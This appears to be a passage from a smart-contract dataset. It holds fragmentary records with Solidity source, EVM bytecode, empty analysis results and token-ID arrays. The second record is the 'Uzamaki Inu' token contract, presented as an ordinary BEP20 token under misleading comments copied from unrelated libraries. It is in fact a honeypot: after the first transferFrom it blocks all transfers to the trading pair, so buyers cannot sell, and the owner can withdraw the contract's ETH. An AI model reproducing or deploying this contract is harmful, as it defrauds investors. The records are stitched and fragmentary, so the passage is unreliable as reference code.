0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } }
0x608060405234801561001057600080fd5b50600436106100625760003560e01c80632567516a14610067578063297f9af0146100855780638f98a45b1461008d5780639b6af648146100a2578063a230c524146100b5578063ac0250f7146100d5575b600080fd5b61006f6100f5565b60405161007c91906113c5565b60405180910390f35b61006f610114565b6100a061009b36600461108e565b610123565b005b6100a06100b0366004610ffd565b61020b565b6100c86100c3366004610fe3565b610309565b60405161007c91906111ab565b6100e86100e3366004611143565b61031c565b60405161007c919061115b565b600080610100610327565b905061010e8160010161034b565b91505090565b600061011e61034f565b905090565b600061012d610327565b805490915060ff161561015b5760405162461bcd60e51b81526004016101529061130a565b60405180910390fd5b600082511161017c5760405162461bcd60e51b815260040161015290611276565b805460ff1916600117815560005b8251811015610206576101b18382815181106101a257fe5b60200260200101516001610368565b7f30f1d11f11278ba2cc669fd4c95ee8d46ede2c82f6af0b74e4f427369b3522d38382815181106101de57fe5b602002602001015160016040516101f692919061116f565b60405180910390a160010161018a565b505050565b80600061021661034f565b9050808211156102385760405162461bcd60e51b8152600401610152906111eb565b60028104821161025a5760405162461bcd60e51b8152600401610152906111eb565b6000610266878761040d565b9050610273818686610468565b851561028757610282876105cc565b6102bd565b6000610291610641565b9050600061029e89610665565b60048301549091506102ba906001600160a01b03168a836106f6565b50505b6102c78787610368565b7f30f1d11f11278ba2cc669fd4c95ee8d46ede2c82f6af0b74e4f427369b3522d387876040516102f892919061116f565b60405180910390a150505050505050565b600061031482610748565b90505b919050565b600061031482610769565b7f1c03ec2fe6acf7b94b95c87bd1c750db913cc1fec10e1e766e5eb2c5f8b774f890565b5490565b60008061035a610327565b905061010e81600201610783565b6000610372610327565b905081156103a857610387600282018461078e565b6103a35760405162461bcd60e51b815260040161015290611384565b610401565b816104015760016103bb82600201610783565b116103d85760405162461bcd60e51b815260040161015290611233565b6103e560028201846107a3565b6104015760405162461bcd60e51b815260040161015290611341565b610206816001016107b8565b600080610418610327565b90506000848461042a8460010161034b565b60405160200161043c9392919061118a565b60405160208183030381529060405280519060200120905061045d816107c1565b925050505b92915050565b60008167ffffffffffffffff8111801561048157600080fd5b506040519080825280602002602001820160405280156104ab578160200160208202803683370190505b50905060005b828110156105c5576000610517868686858181106104cb57fe5b90506020028101906104dd91906113ce565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061081292505050565b905061052281610748565b61053e5760405162461bcd60e51b8152600401610152906112d3565b60005b828110156105965783818151811061055557fe5b60200260200101516001600160a01b0316826001600160a01b0316141561058e5760405162461bcd60e51b8152600401610152906111b6565b600101610541565b50808383815181106105a457fe5b6001600160a01b0390921660209283029190910190910152506001016104b1565b5050505050565b60006105d6610892565b905060006105fe6105e561034f565b600384015460028501546105f8916108b6565b90610913565b60028301546003840155600483015490915061061a908261097a565b600483018190556001600160a01b0390931660009081526005909201602052506040902055565b7f1a3e4131826bb378aa43abb34a33a366bc4a35b55ab18a884fa205b59285ec4590565b600080610670610892565b9050600061067f6105e561034f565b60028301546003840155600483015490915061069b908261097a565b600483018190556001600160a01b038516600090815260058401602052604081205490916106c8916108b6565b60048401546001600160a01b0396909616600090815260059094016020526040909320949094555092915050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526102069084906109d4565b600080610753610327565b90506107626002820184610a85565b9392505050565b600080610774610327565b90506107626002820184610a9a565b60006103148261034b565b6000610762836001600160a01b038416610aa6565b6000610762836001600160a01b038416610af0565b80546001019055565b604080517f19457468657265756d205369676e6564204d6573736167653a0a333200000000602080830191909152603c8083019490945282518083039094018452605c909101909152815191012090565b6000815160411461086a576040805162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015290519081900360640190fd5b60208201516040830151606084015160001a61088886828585610bb6565b9695505050505050565b7f01db454b85b271fc968f832cfcd995dcefcccf9745d96cf6392cb39453c941fe90565b60008282111561090d576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6000808211610969576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161097257fe5b049392505050565b600082820183811015610762576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610a29826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610d349092919063ffffffff16565b80519091501561020657808060200190516020811015610a4857600080fd5b50516102065760405162461bcd60e51b815260040180806020018281038252602a8152602001806114a7602a913960400191505060405180910390fd5b6000610762836001600160a01b038416610d4b565b60006107628383610d63565b6000610ab28383610d4b565b610ae857508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610462565b506000610462565b60008181526001830160205260408120548015610bac5783546000198083019190810190600090879083908110610b2357fe5b9060005260206000200154905080876000018481548110610b4057fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080610b7057fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610462565b6000915050610462565b60007f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0821115610c175760405162461bcd60e51b815260040180806020018281038252602281526020018061143d6022913960400191505060405180910390fd5b8360ff16601b1480610c2c57508360ff16601c145b610c675760405162461bcd60e51b81526004018080602001828103825260228152602001806114856022913960400191505060405180910390fd5b600060018686868660405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015610cc3573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610d2b576040805162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015290519081900360640190fd5b95945050505050565b6060610d438484600085610dc7565b949350505050565b60009081526001919091016020526040902054151590565b81546000908210610da55760405162461bcd60e51b815260040180806020018281038252602281526020018061141b6022913960400191505060405180910390fd5b826000018281548110610db457fe5b9060005260206000200154905092915050565b606082471015610e085760405162461bcd60e51b815260040180806020018281038252602681526020018061145f6026913960400191505060405180910390fd5b610e1185610f22565b610e62576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b60208310610ea05780518252601f199092019160209182019101610e81565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610f02576040519150601f19603f3d011682016040523d82523d6000602084013e610f07565b606091505b5091509150610f17828286610f28565b979650505050505050565b3b151590565b60608315610f37575081610762565b825115610f475782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f91578181015183820152602001610f79565b50505050905090810190601f168015610fbe5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b80356001600160a01b038116811461031757600080fd5b600060208284031215610ff4578081fd5b61076282610fcc565b60008060008060608587031215611012578283fd5b61101b85610fcc565b93506020850135801515811461102f578384fd5b9250604085013567ffffffffffffffff8082111561104b578384fd5b818701915087601f83011261105e578384fd5b81358181111561106c578485fd5b886020808302850101111561107f578485fd5b95989497505060200194505050565b600060208083850312156110a0578182fd5b823567ffffffffffffffff808211156110b7578384fd5b818501915085601f8301126110ca578384fd5b8135818111156110d657fe5b838102604051858282010181811085821117156110ef57fe5b604052828152858101935084860182860187018a101561110d578788fd5b8795505b838610156111365761112281610fcc565b855260019590950194938601938601611111565b5098975050505050505050565b600060208284031215611154578081fd5b5035919050565b6001600160a01b0391909116815260200190565b6001600160a01b039290921682521515602082015260400190565b6001600160a01b039390931683529015156020830152604082015260600190565b901515815260200190565b6020808252818101527f476f7665726e616e63653a206475706c6963617465207369676e617475726573604082015260600190565b60208082526028908201527f476f7665726e616e63653a20496e76616c6964206e756d626572206f66207369604082015267676e61747572657360c01b606082015260800190565b60208082526023908201527f476f7665726e616e63653a20576f756c64206265636f6d65206d656d6265726c60408201526265737360e81b606082015260800190565b60208082526037908201527f476f7665726e616e63653a204d656d626572206c697374206d75737420636f6e60408201527f7461696e206174206c65617374203120656c656d656e74000000000000000000606082015260800190565b6020808252601a908201527f476f7665726e616e63653a20696e76616c6964207369676e6572000000000000604082015260600190565b6020808252601f908201527f476f7665726e616e63653a20616c726561647920696e697469616c697a656400604082015260600190565b60208082526023908201527f476f7665726e616e63653a204163636f756e74206973206e6f742061206d656d6040820152623132b960e91b606082015260800190565b60208082526021908201527f476f7665726e616e63653a204163636f756e7420616c726561647920616464656040820152601960fa1b606082015260800190565b90815260200190565b6000808335601e198436030181126113e4578283fd5b83018035915067ffffffffffffffff8211156113fe578283fd5b60200191503681900382131561141357600080fd5b925092905056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647345434453413a20696e76616c6964207369676e6174757265202773272076616c7565416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c45434453413a20696e76616c6964207369676e6174757265202776272076616c75655361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220290a3f273a58ed4f7a15f60cad406f867d6281c45a212a53a1e5191bd6c65fbf64736f6c63430007060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 23352, 2050, 23352, 2581, 22610, 17134, 2063, 2581, 2581, 2063, 2629, 2546, 2581, 5243, 2683, 21057, 3401, 2063, 2487, 2546, 24594, 23632, 22932, 2692, 2050, 26976, 16147, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 24094, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 19706, 1013, 1045, 3995, 23062, 6651, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,787
0x975b7137c0fc4aea9c92ec9b88a31dd239c5a005
/** *Submitted for verification at Etherscan.io on */ //SPDX-License-Identifier: UNLICENSED /* _____ _____ ________ _ ____ ____ _ ___ ____ _____ ____ _____ _____ _____ |_ _||_ _|| __ _| / \ |_ \ / _| / \ |_ ||_ _| |_ _||_ \|_ _||_ _||_ _| | | | | |_/ / / / _ \ | \/ | / _ \ | |_/ / | | | \ | | | | | | | ' ' | .'.' _ / ___ \ | |\ /| | / ___ \ | __'. | | | |\ \| | | ' ' | \ \__/ / _/ /__/ | _/ / \ \_ _| |_\/_| |_ _/ / \ \_ _| | \ \_ _| |_ _| |_\ |_ \ \__/ / `.__.' |________||____| |____||_____||_____||____| |____||____||____||_____||_____|\____| `.__.' */ // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. /** * @dev Intended to update the TWAP for a token based on accepting an update call from that token. * expectation is to have this happen in the _beforeTokenTransfer function of ERC20. * Provides a method for a token to register its price sourve adaptor. * Provides a function for a token to register its TWAP updater. Defaults to token itself. * Provides a function a tokent to set its TWAP epoch. * Implements automatic closeing and opening up a TWAP epoch when epoch ends. * Provides a function to report the TWAP from the last epoch when passed a token address. */ /** * @dev Returns the amount of tokens in existence. */ pragma solidity >=0.5.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0); c = a / b; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ contract BEP20Interface { function totalSupply() public view returns (uint256); function balanceOf(address tokenOwner) public view returns (uint256 balance); function allowance(address tokenOwner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom( address from, address to, uint256 tokens ) public returns (bool success); /** * @dev Returns true if the value is in the set. O(1). */ event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval( address indexed tokenOwner, address indexed spender, uint256 tokens ); } contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 tokens, address token, bytes memory data ) public; } // TODO needs insert function that maintains order. // TODO needs NatSpec documentation comment. /** * Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index */ contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } /** * @dev Returns the number of values on the set. O(1). */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ contract TokenBEP20 is BEP20Interface, Owned { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; address public newun; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; constructor() public { symbol = "UZAMAKINU"; name = "Uzamaki Inu"; decimals = 9; _totalSupply = 1000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function totalSupply() public view returns (uint256) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint256 balance) { return balances[tokenOwner]; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function transfer(address to, uint256 tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint256 tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function transferFrom( address from, address to, uint256 tokens ) public returns (bool success) { if (from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint256 remaining) { return allowed[tokenOwner][spender]; } function approveAndCall( address spender, uint256 tokens, bytes memory data ) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval( msg.sender, tokens, address(this), data ); return true; } function() external payable { revert(); } } contract GokuToken is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable {} }
0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610568578063d4ee1d9014610672578063dd62ed3e146106c9578063f2fde38b1461074e576100f3565b806381f4f399146103bd5780638da5cb5b1461040e57806395d89b4114610465578063a9059cbb146104f5576100f3565b806323b872dd116100c657806323b872dd1461027d578063313ce5671461031057806370a082311461034157806379ba5097146103a6576100f3565b806306fdde03146100f8578063095ea7b31461018857806318160ddd146101fb5780631ee59f2014610226575b600080fd5b34801561010457600080fd5b5061010d61079f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101e1600480360360408110156101ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b34801561020757600080fd5b5061021061092f565b6040518082815260200191505060405180910390f35b34801561023257600080fd5b5061023b61098a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028957600080fd5b506102f6600480360360608110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b0565b604051808215151515815260200191505060405180910390f35b34801561031c57600080fd5b50610325610df5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034d57600080fd5b506103906004803603602081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e08565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610e51565b005b3480156103c957600080fd5b5061040c600480360360208110156103e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b34801561041a57600080fd5b5061042361108b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047157600080fd5b5061047a6110b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ba57808201518184015260208101905061049f565b50505050905090810190601f1680156104e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050157600080fd5b5061054e6004803603604081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114e565b604051808215151515815260200191505060405180910390f35b34801561057457600080fd5b506106586004803603606081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105d257600080fd5b8201836020820111156105e457600080fd5b8035906020019184600183028401116401000000008311171561060657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113ad565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106876115e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b50610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611606565b6040518082815260200191505060405180910390f35b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168d565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108355780601f1061080a57610100808354040283529160200191610835565b820191906000526020600020905b81548152906001019060200180831161081857829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610985600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461172a90919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a3c5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610a875782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b4c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610b9e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eab57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111465780601f1061111b57610100808354040283529160200191611146565b820191906000526020600020905b81548152906001019060200180831161112957829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61126682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fb82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561156e578082015181840152602081019050611553565b50505050905090810190601f16801561159b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561173957600080fd5b818303905092915050565b600081830190508281101561175857600080fd5b9291505056fea265627a7a723158206240545cf0c073b4656eb0389bef7ad465ec28ffa154f33e908c0a334cf09a9264736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 23352, 2497, 2581, 17134, 2581, 2278, 2692, 11329, 2549, 21996, 2683, 2278, 2683, 2475, 8586, 2683, 2497, 2620, 2620, 2050, 21486, 14141, 21926, 2683, 2278, 2629, 2050, 8889, 2629, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1035, 1035, 1064, 102 ]
